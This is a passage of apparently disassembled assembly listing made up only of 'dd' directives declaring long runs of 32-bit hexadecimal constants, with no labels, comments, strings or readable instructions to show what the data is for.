		dd 0E31FFC3Bh, 0C3CF83B8h, 51F88259h, 2E84624Dh, 96885706h
		dd 0CC5212DAh, 2B096844h, 0FF077C5Eh, 759BA316h, 0C22DB1A9h
		dd 375EC03Bh, 4F7A06D9h, 0D0FE7DE9h, 0B26E94BDh, 0B7F4C400h
		dd 7426D108h, 6DBC04EBh, 4C5F29CFh, 4F240490h, 26F78101h
		dd 55657C08h, 9D0BF4F4h, 688B0351h, 0BB1B77A2h,	384901C1h
		dd 0B2FCCA14h, 2A19D0A7h, 9A66C62h, 15EC3E1h, 374401F0h
		dd 0BA5A4BD5h, 4E375B2Ch, 12AFF733h, 0C22262B7h, 37FFC00Eh
		dd 0BB530042h, 1FE7329Ah, 0E917DA09h, 32EFB257h, 0C95033E1h
		dd 81CB0501h, 0C289F85Eh, 0B70780F0h, 0C5A7DAF3h, 0B5510CC5h
		dd 0AC41497Eh, 58F3C300h, 0AED0D2BAh, 0E2E95020h, 9D028214h
		dd 66F7BBB3h, 0E61291Dh, 95892F8Ch, 0F6AD49DDh,	0D42559BBh
		dd 17181C68h, 9A11C888h, 0DD340DFh, 26F9F04Ah, 870809D3h
		dd 0E90947D9h, 1EF05809h, 1403E6C1h, 7148D6h, 0DF1CFA2Dh
		dd 1BC9050Ah, 0E916DB77h, 2DFB1238h, 8CC702BDh,	89804DF7h
		dd 0EC60C7E9h, 80183C34h, 120655EFh, 0FFE3FB28h, 58933D58h
		dd 97B2ED30h, 0EFB744ABh, 0C18006F1h, 19C22CB0h, 21E64FA0h
		dd 2B980EDCh, 8D4D7534h, 83E0F2BEh, 84F2BBE9h, 0DF96A2EFh
		dd 0F9B64E79h, 3F7D815Fh, 0ADA004F4h, 6AC803C3h, 0DF31A1EBh
		dd 65833625h, 0E9962D2Dh, 7FFE5950h, 77BD3D69h,	2AEDD100h
		dd 55900A9Eh, 0F4AF1F01h, 50B5688Ah, 0BDC1D53Ch, 3B513167h
		dd 298526B9h, 1CC581DFh, 5772EC1Fh, 3355BF02h, 0DD093C0Fh
		dd 2D03C096h, 507F6535h, 7803B2E9h, 6048EC01h, 455DE6EEh
		dd 870EE581h, 0C0354622h, 0D71295EDh, 4EF897ACh, 58C23112h
		dd 0E99221AAh, 2F96251Fh, 0B4E1CAB1h, 0A94B6428h, 58CEE1C0h
		dd 2DF95FC2h, 0FF889BCAh, 20032865h, 0B904FA51h, 221D58C8h
		dd 0A971DC0h, 0AB2748B3h, 0C6FCF527h, 0A11724E8h, 5717A65Ah
		dd 0F120F39Eh, 5C598E8h, 60194344h, 7ED5EC49h, 0E62DBCF4h
		dd 67BAF99Fh, 84A16758h, 51C7EABCh, 0BE7EE941h,	0C55B82C3h
		dd 0B15180A5h, 59C888B6h, 40E0C02Dh, 0B0F7B38Eh, 9F91520Ch
		dd 99D680Ah, 20B8801Ch,	2D568D49h, 0DE218106h, 0A0B6835Ah
		dd 1DAC35F3h, 7C79B828h, 7D2DF03Eh, 6382FF09h, 0F2510C55h
		dd 0DA21F080h, 1314BB6Dh, 0F19225DEh, 96063B7Eh, 96BFB0A4h
		dd 0C73D125Dh, 82CAF46Eh, 50008DEAh, 7A8846B0h,	781027C5h
		dd 560ED71h, 5A423A3Fh,	1690C46Bh, 0A605AB07h, 5CC88F0Bh
		dd 930C5C6Ch, 48022C7Bh, 0F07DBB03h, 146B12F9h,	5FA0086Ah
		dd 0C4AA5912h, 0BBC0EB67h, 9E4B746Eh, 3886BD80h, 0C1DC019h
		dd 326820Bh, 4F81FD6Eh,	8D02EEC1h, 0D4313C7Ch, 1064AD61h
		dd 5B6634B7h, 53A3C10Dh, 0AC5823Ch, 7D161149h, 0FAB99202h
		dd 0C0658007h, 112E56F9h, 82BE9E0Fh, 216E4F23h,	0A698CDCBh
		dd 10490D04h, 0C644827h, 0C098C06h, 0FDC728FFh,	0A65130ACh
		dd 1A76C243h, 3464E9E5h, 50B5BF7h, 78943C91h, 6D6161Ch
		dd 0C6CF0F80h, 0BF08A81Ch, 0B08BEEDBh, 98B2C4EDh, 80667D57h
		dd 1199FE89h, 25DB7E69h, 0D2743558h, 5A408F3Dh,	0C41609E2h
		dd 0FD0C9098h, 3D48C174h, 6859040Bh, 32986136h,	0D74F1443h
		dd 0E90BEF50h, 20747063h, 7D37C1Ah, 0E3F508E0h,	0D7154C0h
		dd 162984Bh, 7A826B23h,	7CD5D7E9h, 5559A76Dh, 652EBE66h
		dd 3C23D61h, 0B8AB0F10h, 0D092EBFEh, 0EC51DDAEh, 419CE417h
		dd 43E75541h, 990C2560h, 27853CECh, 0EB2E6132h,	0C5D267C7h
		dd 0F420413Fh, 66277638h, 0D108AED6h, 0A5B12CE6h, 0EA51E9Dh
		dd 0D0BB0704h, 0BF11A4A0h, 0A81613FBh, 47DC8028h, 0CC0CCF81h
		dd 0C43364Eh, 0D7631899h, 3257963Dh, 2978B62Ch,	0AE55FD02h
		dd 43C07DB5h, 4ABFD2F7h, 494AD92Dh, 443C3B8Dh, 0E9078084h
		dd 1ADF6779h, 0F775B40Fh, 0D45A3D1Dh, 0BFC5D514h, 9AFCC9CBh
		dd 0C908BC2Bh, 5C01F8CBh, 5B10FFF6h, 3F0412EAh,	8C1B8D1Dh
		dd 0ED19F1A1h, 3FEF3001h, 0F7C76FE2h, 88CF324Dh, 886C0E0h
		dd 2359EF2Eh, 5FBE61Fh,	76F06801h, 7DB2A18Ch, 9DF23993h
		dd 80CEEA9Dh, 50663AC2h, 84F53B4h, 0D13494B8h, 3BD9FA32h
		dd 0F3947529h, 9A410h, 71346850h, 7D582111h, 0BDA4D40h
		dd 5275040Fh, 2A19C90Fh, 0CFD820ADh, 308F7C16h,	0B09DAB8h
		dd 2F77F6Ch, 0F708D3C3h, 3CBDAE18h, 19A22002h, 0C6DF7BE9h
		dd 0E3789D5Dh, 9A20579Ah, 0DDF627E5h, 0C34F90F2h, 0D8F500E1h
		dd 0DFC9AAE3h, 7A269FC0h, 3BC220B5h, 0F611068Bh, 17C869BEh
		dd 30156980h, 8AF84B12h, 0DC2FCB9Eh, 6B659A8Bh,	0CFA5640h
		dd 0CD6B6926h, 2C240848h, 3156A916h, 0D9E1A0B8h, 7B34799Bh
		dd 0C92F2641h, 9DB5E868h, 0BAE07E9Ch, 17F56BEAh, 61D3297Fh
		dd 2241687Dh, 1B1616EDh, 2729CCD0h, 2D257BC7h, 0CBF6F454h
		dd 8949F4EBh, 0B4A53B99h, 61F382F2h, 0E3C46075h, 0EC627221h
		dd 47793DF6h, 0E1E91092h, 0B7292E35h, 93146668h, 0B0008FEAh
		dd 58C328E8h, 6D4A9F68h, 9F901E8Ch, 35AFCF8h, 0F5EF5D90h
		dd 6C3E2428h, 49581DE0h, 0A67A2097h, 5906EB05h,	37C02671h
		dd 0A896ABE9h, 9F5AD098h, 0FFFAE854h, 2143B3A2h, 807F9875h
		dd 44DF82E4h, 13776A26h, 36270351h, 0E6B053B2h,	0FD2852F5h
		dd 0B480852Bh, 7BBF2259h, 21E90BE4h, 0AE9CA278h, 26CC682h
		dd 0DAA47D50h, 0D243E85Fh, 91491DBCh, 2B90CD4Bh, 0D840722Ah
		dd 0F2B9807Ch, 344C6177h, 5F4E095Dh, 28805F14h,	0C6087DE3h
		dd 4F0A2F5Dh, 14AD1FCh,	0D530AB98h, 6E284Fh, 982394EDh
		dd 4FFEE90Dh, 7EA16D80h, 0AE4A32F7h, 7E286D3Dh,	7EFA68B0h
		dd 5439E980h, 0EECDE118h, 9DAB52DEh, 0FBE0428h,	387A1AF8h
		dd 842092C9h, 5E257805h, 4930127Ah, 0FEEF9D3Dh,	69400721h
		dd 8BC1E7D1h, 16F7A000h, 284B4B38h, 0E1EFC884h,	5614DCB3h
		dd 324AFFF6h, 33C3ED80h, 587214A5h, 5A090605h, 875B565Bh
		dd 37843C13h, 8B8E86C1h, 0B18B900h, 0D27A9828h,	7EA53F9Ch
		dd 0F09B177Fh, 1AECAD72h, 678A125Ah, 4F04715Ch,	58036768h
		dd 38B7B56Ch, 0E8014E2Ch, 8092B652h, 71BF70E6h,	0C3F77061h
		dd 7D16DF4h, 974F3EDh, 0D601375Dh, 7C12B765h, 0C1005E80h
		dd 0CD8102E5h, 6187532Eh, 0EFE91333h, 0F375C27Ch, 9D8B2007h
		dd 25EFEC80h, 6DB8382Fh, 0A80948FCh, 42DBE933h,	0C4597D02h
		dd 29C00E92h, 2D5385B3h, 1CD6DDB7h, 52C304B4h, 0CD0609D9h
		dd 2A40F828h, 66EACA04h, 964C36BEh, 9AAA5D3Fh, 994F5081h
		dd 84F26023h, 1DB6610h,	0FA7BAD05h, 0EBF7011Ch,	4055E8BFh
		dd 318758Dh, 0FB292205h, 25C4E1E9h, 0CC48D5B2h,	5AA72C10h
		dd 99F0FB81h, 0EADEC004h, 24C56F16h, 5FE485A8h,	5E09BDA3h
		dd 0A9716FDFh, 55E9C1E0h, 1CFC2FE3h, 0FE8F65B5h, 8BA893D1h
		dd 1094A36Ah, 5824FDC9h, 6EEA5AB1h, 0FAFCC310h,	0CE4B4182h
		dd 5A6B4524h, 467089B8h, 9EFA3785h, 1AECD65Eh, 1460BEE4h
		dd 0BE1A56E9h, 40812EE5h, 215B5DEEh, 98976EB0h,	16535ED4h
		dd 0FE18A6E9h, 6EF0BA29h
		dd 40E09685h, 0C68859B0h, 15BFA29Dh, 79E35C0Fh,	6562605Bh
		dd 976BC382h, 0B0B4182h, 0ED1C31F0h, 279440C2h,	0FAD2CE6h
		dd 70E93602h, 2481091Bh, 2E5A2064h, 0D973001h, 21205D95h
		dd 427516E5h, 1FC60B27h, 0BE5E1232h, 0D2F65F38h, 56C1CD85h
		dd 17EAACB1h, 52300594h, 90896664h, 0E149276Dh,	0C101D6D9h
		dd 8F132E77h, 0EE19406Ah, 0E7C7108h, 0C4D5290h,	28F416D7h
		dd 3CC50FECh, 52504B66h, 47F9275h, 0B9407691h, 1E9C3188h
		dd 48CE40BFh, 4180B68Bh, 0EC5F5457h, 599FF21Bh,	4F00726h
		dd 0C469B2C2h, 0ADBDD353h, 5C298107h, 287B1C8Bh, 0FC9EF8DAh
		dd 2A17F140h, 2D58287Ah, 4FEF8106h, 0DD51AD01h,	0B9FCEAC0h
		dd 843AD460h, 4B91FA29h, 4B66CE98h, 0A5D2BE06h,	5C1479E5h
		dd 3212DE73h, 5A2DDB65h, 0F32B9FF1h, 5B3E3CBEh,	4C0CD7B2h
		dd 721619FAh, 11A2A5D3h, 287959C1h, 0D8A600Ah, 99123771h
		dd 1FF126E9h, 834DA42Bh, 0D90EC164h, 0E916BA85h, 7CF552h
		dd 0C74354E9h, 0EDFB5A01h, 5DC38987h, 7F97BE91h, 3665509h
		dd 8327822h, 1692F10Ah,	0E9608F82h, 0B74A78D6h,	65EC05F3h
		dd 1D0C0235h, 0C121EC4Eh, 626FF177h, 0CCD9CC74h, 767B6AA8h
		dd 88390DBAh, 71B74ADEh, 222E243h, 0FFED8003h, 3F0E8E9h
		dd 6AD6BF10h, 0ACD10A7Ch, 6AB67EEEh, 0B7D80127h, 0F016F49Dh
		dd 6C4B5CE9h, 2A38E241h, 20ED5ABCh, 0E2EAAA54h,	2F697B73h
		dd 12ECD484h, 890DB13Ah, 2273920Ch, 0DD5BDAE5h,	54E5D560h
		dd 74E2EC2Fh, 805BBBD0h, 1E0DBD51h, 5DF415ECh, 763AE7BEh
		dd 22B10925h, 2F653ECh,	0A66602BAh, 0D6A3DE54h,	0FEE43173h
		dd 3D3F08DFh, 92E6DF88h, 9EC09B27h, 5F121E2Dh, 82BA030Fh
		dd 28E4CAD5h, 1740AB90h, 0B5510E5Ah, 0B18652D8h, 0A630841Fh
		dd 8825420Dh, 286A004Ah, 0D010A405h, 48BD8948h,	1D02B260h
		dd 924F642Bh, 51D1EAD7h, 6AD91F9Ah, 173D2020h, 147FB41h
		dd 22988BBh, 48BB3015h,	2F4AB4E2h, 8418DBDh, 54633120h
		dd 73E5FB5Bh, 0BA02B713h, 0BB002E31h, 34A335Ah,	9586B904h
		dd 10F93043h, 0EB8006Bh, 44A90301h, 3106BB25h, 20E0C1A1h
		dd 35404B3Ch, 14A22D68h, 1AC80998h, 16ECB12h, 1208AFFh
		dd 33EDBA52h, 0C76B07CBh, 9F93574h, 91C1C494h, 0DC9C6458h
		dd 0FBB7187Eh, 535F1EC6h, 8236FDFAh, 0F0A4E9h, 60CE6851h
		dd 26F246B5h, 404C78B1h, 0A2E15693h, 71608598h,	33C1F117h
		dd 0EA2D76BEh, 0B829E22Ch, 0E7D325EBh, 378B8DF4h, 91C7D4Ah
		dd 9F706FB5h, 1CF5E58Fh, 0E62B3163h, 0C465F545h, 27B01DFCh
		dd 7CC2EC27h, 9B6FC3F1h, 0F3CF2B07h, 659FC067h,	45A751DBh
		dd 89CE257Bh, 3A93A671h, 39BA86F0h, 4B0A0754h, 1FBBD631h
		dd 0A88ACCF2h, 5018EE45h, 0AC9A6744h, 257EB22Ch, 63FC7D31h
		dd 0CD9A7772h, 0F9291985h, 61720E85h, 49D55451h, 0FD5089A3h
		dd 0F19F1ECCh, 4EDDE92Eh, 6118BD50h, 5181DD66h,	7967B9D4h
		dd 1AC3B57Eh, 0C16149EAh, 3477C5E9h, 257CBAC6h,	746B0B9Dh
		dd 4AD70F9Eh, 0C62046CCh, 4057E231h, 138D06EEh,	6A322750h
		dd 0A11266E2h, 0E764523h, 1522A358h, 99D6EC1Ch,	0A52A02EAh
		dd 6187E01Eh, 618EC34Bh, 8010274Dh, 0E6FD4069h,	8C1F4E6Ah
		dd 40A84F38h, 5EB652B0h, 0B3BC805Eh, 22CB7827h,	4C3B72C7h
		dd 94B7459h, 2424FD90h,	22DCBBE0h, 7C94B759h, 55DF6810h
		dd 0DBA0E90Ah, 0E4F00850h, 19F68100h, 95C7043Ah, 0E5D7F4E2h
		dd 0B9E9074Dh, 6E7F0963h, 0C201200Bh, 4FC36233h, 0F271F0E6h
		dd 895BBD23h, 0A35DD83h, 9B7E2F18h, 0E3D55DC2h,	309F9045h
		dd 0D7C8A2E5h, 1E5625E2h, 0E6E8290Eh, 260E14ABh, 27EB252h
		dd 0D32890F2h, 3016D06Bh, 3DF62313h, 7863143Dh,	96BA5356h
		dd 0CFBEC6A3h, 6052CCC1h, 4A725146h, 0F2291117h, 0A084210h
		dd 94F725E9h, 8FD2484Eh, 1627D9C6h, 0D4D1B497h,	55966368h
		dd 0DEFCE2E2h, 350F7825h, 0BD262617h, 126B1036h, 16CC4524h
		dd 2B7AE58Ch, 0CC2F9B4h, 67AD6A20h, 0B517DE90h,	41AF42AFh
		dd 0E34C3AF6h, 0B4AC6A02h, 85DC1AB2h, 0C597421Dh, 86486B4Fh
		dd 269646Ch, 378D2DD8h,	0FA5FC679h, 0EDC2A16Ah,	31787033h
		dd 0BAFFFA86h, 60C6C30Ch, 4F229720h, 9FCBE959h,	0FA70C24Bh
		dd 6ED71814h, 0D3EDCCBAh, 76010DCBh, 2FDAAC9Dh,	7E3BFB53h
		dd 9FE82FEDh, 5ED7F5CCh, 148CC0A0h, 5340E196h, 123C6855h
		dd 0AB6C0A31h, 1790D853h, 12F5BF57h, 0A865F90Ch, 0EA422ED3h
		dd 1D33E904h, 0E940B0CAh, 0D521392Ch, 429E5DFh,	0D2D9EC08h
		dd 61ECEFBh, 47C9E9DEh,	80CE500Fh, 923B00F3h, 1AE5817Ah
		dd 130F736Ch, 2045EDD1h, 0B243AFCDh, 0E94D0C74h, 30B4DB24h
		dd 5966EA02h, 4002E2C0h, 72FE6F69h, 0F1CD58C5h,	4E99406h
		dd 0F6272CFCh, 0EF0180D7h, 0FCFE30CFh, 5F4E4A83h, 2B4D45BDh
		dd 2DEC903Ah, 0AD2D3778h, 96D3C5E8h, 0A971BE3Ch, 8105F936h
		dd 29379ECCh, 80640100h, 0DA015117h, 0EB19D060h, 92D6A96Ah
		dd 29B929FAh, 63780545h, 8D803CCCh, 4E587327h, 0AE47BB09h
		dd 5E991AF0h, 527C04A5h, 5B21E093h, 2C746A0Fh, 58BC1h
		dd 3F7F0245h, 0FD29090Ch, 0F02019E9h, 7614368h,	0F6594E2Fh
		dd 9D570B03h, 540F079h,	4A310945h, 1058B953h, 5D3BDA29h
		dd 0CA089A13h, 4CC69DEh, 19E3219Fh, 4C2A3305h, 63EE8270h
		dd 12581455h, 4410FA68h, 13B841CAh, 0C5ED00ABh,	45537358h
		dd 85985A5Fh, 0CB185392h, 53813878h, 0F928FF4Eh, 665D8901h
		dd 445626C7h, 0E883DAC9h, 3F29814Ch, 3E076E01h,	312F0665h
		dd 2FF50183h, 6E2975C9h, 66BFE8F6h, 80DD4E34h, 1C3E3596h
		dd 0D223C00h, 161938F4h, 6D200205h, 1A2D0146h, 89179680h
		dd 0A52EE9C7h, 15587639h, 2B3180D2h, 0B4185B4Ch, 3F736DBBh
		dd 0CEFEB064h, 0DDE25EC3h, 0AB4B91D3h, 0E1880090h, 17F2BD58h
		dd 0A34CF8F8h, 102A806Dh, 0BB86581h, 9A7EEFDAh,	662C3470h
		dd 68AC0507h, 0E6CBA209h, 0AB22778h, 3FD7B8A2h,	0E3B12904h
		dd 6643DC83h, 20103914h, 5F2620DCh, 0E8E32F7Ch,	8975EA84h
		dd 891786A9h, 7467D8E5h, 13CC1E48h, 0E94C37E9h,	14CEBA51h
		dd 865C5E15h, 96EEB420h, 824E46EEh, 99F50B2h, 9A5DEE38h
		dd 0C5E0FDF9h, 0FA2B31BFh, 0F70BB626h, 371B7CD1h, 58667168h
		dd 3F142114h, 0AE7ACC0h, 93F12B5h, 5B17FFF5h, 9EDF8663h
		dd 0FD681F13h, 0D2CD774Dh, 0C1FC132Fh, 7E38369h, 0F7B124BAh
		dd 6F1E09D9h, 55BF5700h, 14CBE96h, 0D9101688h, 0B53C77EEh
		dd 48F15849h, 879C57F7h, 44B52D93h, 533AA661h, 0A98EAA4Fh
		dd 9501B92Fh, 69A43AE9h, 975B3E96h, 90365D1Bh, 73CA00FCh
		dd 0E2B8363Ch, 7B5E9BACh, 0D55A00F8h, 0E09BE8B0h, 5A25FBC7h
		dd 0CA60E9B3h, 0B808CD52h, 25152CF6h, 0C5D5796Ah, 6EEC88D7h
		dd 22C3823Dh, 5445642Eh, 0A8596555h, 75B9D66Eh,	2226F02Dh
		dd 86306EE2h, 5AD1041h,	0C14C1493h, 680C9A79h, 0F76B61C9h
		dd 9F070659h, 5E084189h, 0E46DC3FEh, 8A64BB84h,	1714E281h
		dd 5BB15100h, 86D9F60Eh, 8D48CE1h, 56C92580h, 0E6B1835Dh
		dd 0EED303B1h, 23142AC8h, 4616F6B0h, 0E9622505h, 0F9D5E802h
		dd 61B74601h, 806E75DCh, 0A8CE8129h, 6B484FFAh,	87AD30B4h
		dd 0B4A05F0h, 5E23D552h, 51262945h, 0EB4E8C05h,	7720EEC1h
		dd 6B685000h, 22A10D13h, 0E1F6B409h, 0EE8A5634h, 98927C5h
		dd 0A605D189h, 69BFA2CEh
		dd 96C7D8F4h, 16D752A6h, 0A9C70414h, 80326B1Fh,	0CE66A57Ah
		dd 49748548h, 72A393FFh, 6D41EB4Bh, 0D32FEBBFh,	700CE542h
		dd 0DBC5BF0Dh, 120A941h, 0C266773Bh, 3D4AD692h,	23032FFEh
		dd 0E9103D58h, 0FF3DD780h, 0FB277F34h, 0BED73CB2h, 41ADB828h
		dd 10D76DEAh, 0AB404543h, 20B59E0Ah, 141209B7h,	337617F0h
		dd 0AE65F749h, 0A6A7E9C1h, 80DFF752h, 3A4D64A9h, 840CC30Bh
		dd 59CE0837h, 8A20C290h, 0AC664A1Ch, 0D7148C50h, 379A0BB9h
		dd 435E5641h, 8E18039h,	5E96C981h, 0DB7A4CD1h, 0A8F93C25h
		dd 42F4FF07h, 52CC26B2h, 182F869h, 814CCB18h, 0EA491DE2h
		dd 507C48E0h, 16628BB1h, 809CFDF8h, 6816D184h, 4DFE1905h
		dd 0F9125790h, 0FE5FF574h, 0E9448177h, 0BD57C862h, 1EEA5D65h
		dd 34E653AEh, 963AC35Ah, 665C04F4h, 9485E3ACh, 738EABD5h
		dd 513CBB4Bh, 0CF25655Eh, 0CB326EFh, 0E926BF84h, 5A95D334h
		dd 55CA9623h, 5BE4B35Ah, 0B372A4A0h, 32680425h,	8B0B127Fh
		dd 0FA1F6B65h, 5D09FBh,	7B21A41Fh, 4D0CC76Ch, 0CE13A61Ah
		dd 0C4376A09h, 3AA8F534h, 85F1608h, 0BA039DDAh,	0F54071E3h
		dd 38CBD1FAh, 0B8E00D4Ah, 62069E6Fh, 9877151Eh,	583F802h
		dd 82689B44h, 0BE1D400Bh, 40237BA6h, 1C4EE917h,	0EAF65DB4h
		dd 5B282E0Fh, 0A5FCB83h, 555A04E7h, 0BD20D244h,	295D4BD4h
		dd 0DE0DADAEh, 9482456Ch, 0C6E3FAA9h, 3AC3E982h, 0C5CF8ED1h
		dd 1F69EAB3h, 0F6C6443Eh, 7BD08A42h, 7D67E2Eh, 55AB75E2h
		dd 0FBFEDB1Eh, 268C040h, 78F108B6h, 4877895Bh, 246FAB6Eh
		dd 0B05A66h, 7B82345Ch,	5C8D2F7h, 0B9E20DAh, 0B2B5D1D9h
		dd 0A7B97653h, 40A9D4C7h, 2B9B6652h, 1B44ECEDh,	0C018BF6Eh
		dd 8F9ADE2Eh, 0A2FA4E01h, 0CBFAD245h, 76FC5EA6h, 12B782F4h
		dd 5DAB1AFFh, 0C9A87571h, 3BE3C020h, 0ED93C589h, 91E6931Ch
		dd 865674FAh, 52FDDE25h, 1CA87FDh, 40DE5E19h, 0DC6A2DBBh
		dd 0EBC15E09h, 268EDD05h, 6AC10F5Ah, 86FC058Eh,	768310Ah
		dd 481702DAh, 0D0FEEACBh, 7E3CB720h, 29260209h,	8BB850F7h
		dd 972ED808h, 6027C07Bh, 711BEF2Eh, 0FDAFA01Eh,	0FE7F27BFh
		dd 91206770h, 52552C28h, 756800DDh, 98BA3D1Ch, 9ACE7631h
		dd 8D691109h, 8255B24Eh, 0A9813E9h, 445C04D3h, 9EA18049h
		dd 2F5C831Ch, 0C0209EDh, 0BA897Dh, 14D03286h, 0E5D94DF7h
		dd 0D4F1387Bh, 0F27C2B18h, 8A33427Fh, 0DFA31806h, 0CA210451h
		dd 0BF70D330h, 262EE79h, 5C42CD3h, 121C84E0h, 3A84E581h
		dd 41EF03A6h, 0C58A8970h, 0E9EBD091h, 0E682884Eh, 0FB00FE5Fh
		dd 6C71CB8Ah, 7EADB248h, 0D2BE424Dh, 33E7FF09h,	0E2F5E989h
		dd 0F283523Dh, 0E2DF4E8Fh, 8A2C0582h, 0C8EFF028h, 0B89A1B66h
		dd 0E19C5C97h, 7E1FA368h, 0F3A11DE2h, 0C38B92F2h, 7D291BE4h
		dd 0F0D827D3h, 4A90A55Dh, 4D3FF10h, 5A3619Eh, 1F4194EAh
		dd 92764B08h, 3C0013AAh, 0FDDF1138h, 2CFA92A9h,	0E05986D9h
		dd 10E658C2h, 5926E45Fh, 0BB6BE54Bh, 13A34812h,	0FC4AF642h
		dd 0B30B8A25h, 89CB2CADh, 2F4D41DBh, 0E9B080F8h, 0F1B1C6A1h
		dd 0D1F28040h, 0B1511250h, 6502EBAFh, 0C1F13031h, 8C3A0BBCh
		dd 0EC16EB3Dh, 14B0C735h, 977E9068h, 6882654Dh,	750E6D58h
		dd 12176C04h, 9E3ADFCCh, 2FF32D10h, 0B241E9C1h,	0C0EB1D81h
		dd 70E6B51Fh, 0EFC84E8Bh, 13E1A4C7h, 82793792h,	77099657h
		dd 5D5036E6h, 0A112A9BAh, 0C3FEF079h, 33B8F7E5h, 471D63E7h
		dd 796F9BE9h, 0E0A445DAh, 55EC4133h, 0C723E160h, 13B6D0E2h
		dd 57FD89B5h, 859DAD3Fh, 0C4E97F07h, 1E8C5809h,	0FA0CCAD0h
		dd 0F638E75Dh, 0C20C0DC1h, 2B6F6849h, 0D1C8BF12h, 0F82027E9h
		dd 4C6FC7FCh, 0FF32994h, 69342247h, 0E96020D7h,	68803001h
		dd 8E604A90h, 2B405A3Ah, 7C661395h, 0B5775BAh, 0AAE96C87h
		dd 0AC5C29A6h, 600F2109h, 4D78220h, 0EFC78743h,	56020602h
		dd 6FE941ECh, 7EA27B84h, 0B2BF51Dh, 97F3FFDh, 12F8F841h
		dd 0FBA905E9h, 0E78A7031h, 365955C2h, 67315FCBh, 2B01F1F0h
		dd 0ED128FCEh, 6E7229F6h, 34AE6A16h, 0F34FC1FEh, 48C82466h
		dd 38BF5703h, 104A152Ch, 4B03C81Ch, 341E8CACh, 0B3A88DF5h
		dd 151B20A3h, 0D1B34C5Ah, 1004F027h, 0D2E0EE46h, 26FF0F56h
		dd 0BE3229A9h, 0D86A6A99h, 0F19DF364h, 0B7DCAF1Bh, 83D13358h
		dd 93D00EA9h, 0AA014F0Ah, 7E47648Bh, 0CE917DF0h, 3943BBDBh
		dd 2FDB58B9h, 0E0B2F48Dh, 5AF06817h, 66779100h,	134E3DACh
		dd 0A3607BE9h, 9623AE2h, 551E2C13h, 2DAD93C8h, 8C278A1Fh
		dd 68D829C1h, 1C3C33B3h, 9848CBDEh, 2AFF327h, 0BAD61FE8h
		dd 37B1D113h, 0B1CFB0D4h, 16846F0Eh, 79B6F341h,	0E39B2A29h
		dd 92DFFA67h, 4232B8E1h, 0D0D4EFD2h, 0A9CFECD2h, 2E4F8D8h
		dd 6845D44Eh, 7C4C740Bh, 0E17E5704h, 0A3804B10h, 942BED3h
		dd 5CB6E92Dh, 0C034A469h, 78972212h, 89510239h,	9979E9F9h
		dd 145108D6h, 0ED143A13h, 508752B5h, 0F628DC23h, 0CCA8E7D8h
		dd 0C5EE515Dh, 7C951C70h, 0B05D5A48h, 9615A67Fh, 6139C23Bh
		dd 0B880259h, 0E9540237h, 0EC9B57A0h, 7C7C10C2h, 0C98A5812h
		dd 9CC317Fh, 0C8CF882Eh, 89E5BF8h, 41202C51h, 41CE5D02h
		dd 0A868FA97h, 0BC44BDEAh, 3BC14D25h, 1035D9E4h, 92F8779Ch
		dd 6D5A05C5h, 4D03F46Ch, 0B5427B40h, 0C4CFC54h,	88831298h
		dd 2940E06Ah, 94BB709Dh, 8BF4D2DBh, 0ACEE27Bh, 533A00B8h
		dd 0BE566C3Dh, 0DF756002h, 60DEF755h, 257DC50Fh, 5F7C0C9h
		dd 6CA4EBA8h, 723F2FE9h, 0F1732874h, 2422ED32h,	5659070Bh
		dd 0A48A807Dh, 95063C4Ch, 0B35C8B00h, 501F9C3h,	458F5D3Eh
		dd 82F2D029h, 75C28907h, 97B0F220h, 214B9379h, 8812164h
		dd 0CE02759h, 0AEB90151h, 170FD71h, 10712DCFh, 0AB4ACB80h
		dd 7FF0A50h, 0D7F6F788h, 0A4807D4Bh, 42FEE80h, 0F03A6370h
		dd 0A65A392Ch, 0F43D87E6h, 0B790E4F2h, 22B4184Ah, 8A620AF2h
		dd 2A45B31h, 2717FB84h,	3F9BE160h, 2963BD17h, 84194B8h
		dd 0F7C50278h, 444F9D1h, 9284A24Fh, 9118C82h, 9F80EFFh
		dd 0E4595438h, 0D2258C68h, 0B84A3340h, 0F39292C8h, 2D12CD3Ah
		dd 0D7671650h, 1296F8F3h, 5DC64918h, 73756C7Fh,	8974050Ch
		dd 0D095EAE9h, 0C016C99Dh, 0F1EC66B0h, 0CE88280Fh, 70819459h
		dd 0EB75F37Bh, 68B9A1BFh, 0DB7B2DEFh, 0A6C554E0h, 60011030h
		dd 66DECAh, 3BB05053h, 3F2C9434h, 520E0B98h, 6E51C688h
		dd 59EBA4F5h, 2AEE0585h, 0DA281278h, 0EF9363FDh, 0F2804500h
		dd 76D420C2h, 37E4305Ah, 96689006h, 0B74F1054h,	0FC33D370h
		dd 8359DC5Bh, 66F075E3h, 69C0858h, 0BAF50D70h, 0F9E98A22h
		dd 0B088AFABh, 0D5613CCh, 3A597323h, 425864C0h,	0EA89A0ACh
		dd 31011E5Bh, 0C5C15D30h, 0B040E905h, 0E04BBEAh, 29158FF9h
		dd 7B9BDE4h, 475C4B32h,	0A982A9F7h, 65D13591h, 0C6E1F442h
		dd 685909B4h, 257C1FFBh, 9F2173CFh, 596CCF8Eh, 16FD1796h
		dd 68EF6137h, 0FDB46B17h, 0E73EF704h, 62EC88E3h, 3077077Eh
		dd 9B4312F0h, 0A7562D1Ch, 66644E39h, 7E7B36EBh,	0BD607D54h
		dd 0E33A7702h, 7D3CE91Bh, 0A2A5FEABh, 1B852EBh,	933A8B0Dh
		dd 6FAEF01h, 0DCDDB249h, 5F8A12C9h, 74B03E71h, 2817B1BFh
		dd 0E9E47875h, 2E0D2D2Ah, 611675B9h, 0F78CF86Ch, 0FCEE5F39h
		dd 974F53BDh, 0F736E459h, 0F961C1C5h, 329331ABh, 8C182823h
		dd 136ED855h, 14DD34Ch
		dd 2CB3943Ch, 0CFB07EB2h, 0E18B72E9h, 0A9C6DFC2h, 5C21664Eh
		dd 5302CB62h, 5BF8C376h, 5E89B557h, 44247546h, 6C3E317h
		dd 0BD100754h, 0B5F4524Ah, 1140AA4Dh, 0E30BADB3h, 17475AE9h
		dd 3EC92DB8h, 4E5B9A32h, 25838427h, 1590E772h, 5A2514DBh
		dd 4DFE9656h, 0AB4F2B7Dh, 29C22829h, 88EB4557h,	5A12CAD5h
		dd 30029CF3h, 629268C3h, 88538398h, 5BDDC8F7h, 859CF19Fh
		dd 7603B2E9h, 0B1093474h, 84CB28DBh, 0E085EB9Ch, 4234A5B8h
		dd 0ED47D148h, 5F0698A2h, 5DE9DB24h, 0B14A85FFh, 16A830A2h
		dd 60987103h, 0B1BC0548h, 0AE602041h, 0C9D132E9h, 3BCCDD71h
		dd 40BE2D00h, 71E920ACh, 2CECB7B4h, 16A6818h, 951B2FBFh
